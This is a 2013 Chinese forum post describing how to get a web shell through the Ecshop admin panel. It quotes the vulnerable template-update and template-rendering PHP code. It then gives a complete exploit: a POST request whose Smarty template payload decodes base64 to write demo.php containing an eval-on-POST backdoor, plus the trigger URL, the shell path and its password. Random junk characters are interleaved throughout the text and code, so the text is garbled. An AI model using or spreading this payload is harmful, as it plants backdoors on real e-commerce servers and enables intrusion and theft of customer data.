找回密码
 立即注册
查看: 2939|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
* l) G: @( {8 Y2 C% n2 d3 q/ G$ ^0 |: S( ~8 P# \4 E: M
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了6 _# X9 P* v  o) `* e/ C5 q
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码. Q5 P$ C5 K  j* h. }
admin/template.php
- F: k3 I( G* U7 e* h' z3 B: u7 H- O$ X* m( G/ R" N( C) Y
1 if ($_REQUEST['act'] == 'update_library')
) o2 u5 m  P2 g7 U5 D0 b5 R8 z( c7 ]& d
2   
  t% a4 H4 f& C% @2 O
( f" g' Y$ H! }1 A5 ?9 |3 { ! C. S# o* w* i2 ~

1 a6 i% X7 ]) W$ S  k9 B9 w4     check_authz_json('library_manage'); ' F# M" I' s# u4 k0 M4 X5 t2 S
" J* _$ |; q% I" w
5   
$ [4 U  o1 n. Y1 `$ m& ^7 W1 p' X. i9 g/ G! q6 j9 F
6     $html = stripslashes(json_str_iconv($_POST['html'])); ; s# S, A! \, f
. F8 y& U# Z) H' h% C" n
7   ) \8 D" p, k5 I3 a9 Z- ?% {% _( u* ~

/ d; \8 R! m& m8 N  N8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 # G/ T! K* `2 S7 [5 t% X  p# ^1 i
% Y( E! E& L4 r
9   " i9 p* E& ^" T" o$ d
2 I& k6 t+ {& N/ `
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
9 ^) ?! A8 I# F* M, @. T/ ~0 M, y2 L) [( t/ R  I; O
11   ) f1 A) X; t" ~
7 T$ N% h2 M) U. m1 z( I2 B
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
' [! e* K# C# R% K/ J
3 k  x# Z- [% c5 y4 P: M13   # J' |8 e0 F$ c7 ?6 h( g# H3 J: ~
4 h- P0 L: ^- q
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 % W! c% |9 m3 y! V, E

' |+ O$ a# `) x0 _# R( Q0 E+ V1 d15     {
) l9 B! w8 B5 L2 {* [- K" z& _7 c
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); % k7 R) K# }) V# B7 \% `

3 ?; c  ~2 t% t3 x! G) B1 i17         make_json_result('', $_LANG['update_lib_success']); 8 {! f1 w% Y6 m+ ]0 r- g
) g9 i/ J2 f+ L/ s7 c/ v
18     } ; d$ \5 T# D$ u1 D1 V* x, A
; w' y/ M; @6 v0 ^; X
19     else
# b+ c& c: |# s8 d7 w2 a. S. l! G. _* E- Y
20     { ' ~7 j4 O1 A& W0 ]* J6 i

6 E8 _' K) P, |" E! b21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
& i0 ~  v- ]9 x# {. a, L- v% R
7 U) G$ c2 e6 J% h22     }
+ W0 Q- ^% L) D, W. ^8 E$ ?: k% q# Y' e, f- r8 E9 _/ Y
23 } 0 r; M5 c7 y5 u& C- [4 V

  t8 W! W8 m3 M6 a那么找个比较方便调用了模板的文件7 \7 j9 }0 I% r) R% w; b; ^+ l
index.php! F( W3 ?, I) q8 k

- D9 o5 W3 _4 k2 q0 }; x7 j; ]9 n1 if ($act == 'cat_rec') 8 {4 c' ?; H: F; p4 y; I/ f
) w0 b% u; q: O
2   
  ?( X: d; a! x4 L+ [3 k8 b
+ k6 I; H$ N* a8 E% V3 {
( W1 }0 G/ S# i/ i
  j: V# N7 e/ P  o9 o4   
4 g9 }% o* s4 o" s* j
$ s% @4 K+ L. m  o# _5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 6 y7 |5 C7 G( w3 ^5 t: G- g

; v3 p( l7 m1 ]9 r* G6     [0 g8 ~# [) z, {

; d6 ]' P0 y+ e2 u7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
: a/ n3 G( s: o  D, T6 E2 t! `: A- ^) z+ m
8   4 i) U/ i" g3 A3 @) c; V) y- C
# c& |+ O& }- u4 G
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; : D1 h" R! Q  N* g9 I8 S

- u6 }6 x3 s! Z5 z9 l5 z6 e10   
/ x) Q3 b* ]' W* B/ F9 g* r  Z. x: I% S6 s8 ?
11     include_once('includes/cls_json.php');
" X2 Q3 @7 m3 K0 A" c4 l& s# A
6 b' K/ Z8 u7 s# Y+ T12   
5 `/ \( D; z* m. X$ U; {
- j0 m& t" G+ Y( r2 K0 P$ ]13     $json = new JSON; . I2 H' N( t, C# n- ^* ?5 ?

: y/ R( ?# C2 @# E# |14   
8 @9 y3 a% Q+ b  R
. z1 G% X; x$ @$ i8 r; [2 F* t15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); ) c7 K0 u1 _9 {2 i7 t# `

) K. S+ u  H3 k16   
& u. u- _# C) j, p; {/ L9 H5 o
8 ~: l3 _; Z, c4 T: B17     $children = get_children($cat_id); / ~6 u1 p! P+ H- b6 m
* r' c* y2 r7 Q
18   # _; I& a: x/ Q/ w% F

8 D! g+ B; K8 S19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
$ U8 [/ A8 i- r6 s0 H& v- h
/ F7 \* X% l9 n- |, b4 g20   
. D* h5 j0 v+ x( T: l
! M3 n- T6 y4 r3 s21     $smarty->assign('cat_rec_sign', 1);
. \3 ^/ n" `/ V) ?  C& a5 |
' N. `0 ~, V+ C: J22   
) [! o0 f  ~, Y
- v- y; j$ @8 X3 o/ c23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best ; A1 u/ m$ o& u3 w# \, j' l
: i8 Z# J2 g0 I7 s
24   
& {3 f; `  L9 `# G: M: \4 u
" L4 U5 u) h3 k" S2 s25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; ; E. J% U5 Q; h/ P

1 k! {* ^9 L0 b/ Z  H7 s26   0 [6 p) S1 l8 x% V: D! j1 X
# i7 f( x  I3 j) n, K6 M! d
27         echo $rec_array[$rec_type];
5 [+ n5 _+ ]0 ^6 r6 r7 z3 X0 N# }
/ F4 A0 D$ e$ j! I; o: U28   & f1 X# L$ U* ^

: `" H. X* Q3 m% H: @, K29     die($json->encode($result));
; R9 l2 k3 }8 t) m& v! q$ j% S" {" `! k$ U/ k8 [7 Z
30   ! ]5 r2 m, k5 _# h) ?
0 X8 l1 ?3 L0 d+ k( f+ e0 F
31 } , V' `3 N* k# K, r

- G2 X( g, L# u5 Q7 [那么就有利用方法了
4 o0 N7 r: @6 s3 f7 J8 L4 e, v) z9 Upost包到http://localhost/ec/admin/template.php?act=update_library0 t0 |/ |+ J, A+ N+ m( H3 ?
Post内容:( g7 i% A$ G* ~6 d* D( ^$ p

! G8 h' x+ Y; d. i
* t' W2 v# P( u* s* j% K' r9 G1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
5 W1 w. G, U+ \) J. l
+ o  i3 u! n, x0 I) `" o: w/ A然后访问http://localhost/ec/index.php?act=cat_rec0 Z. F6 P( Z4 x$ J
1 q$ d  G0 G( c, h
shel地址:http://localhost/ec/demo.php
( }+ m& a$ P. g' V密码c/ S! w* G, x0 ^, c* @: n" e) \/ z

9 K4 J6 K) L5 o4 u9 v- I+ M  h5 [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表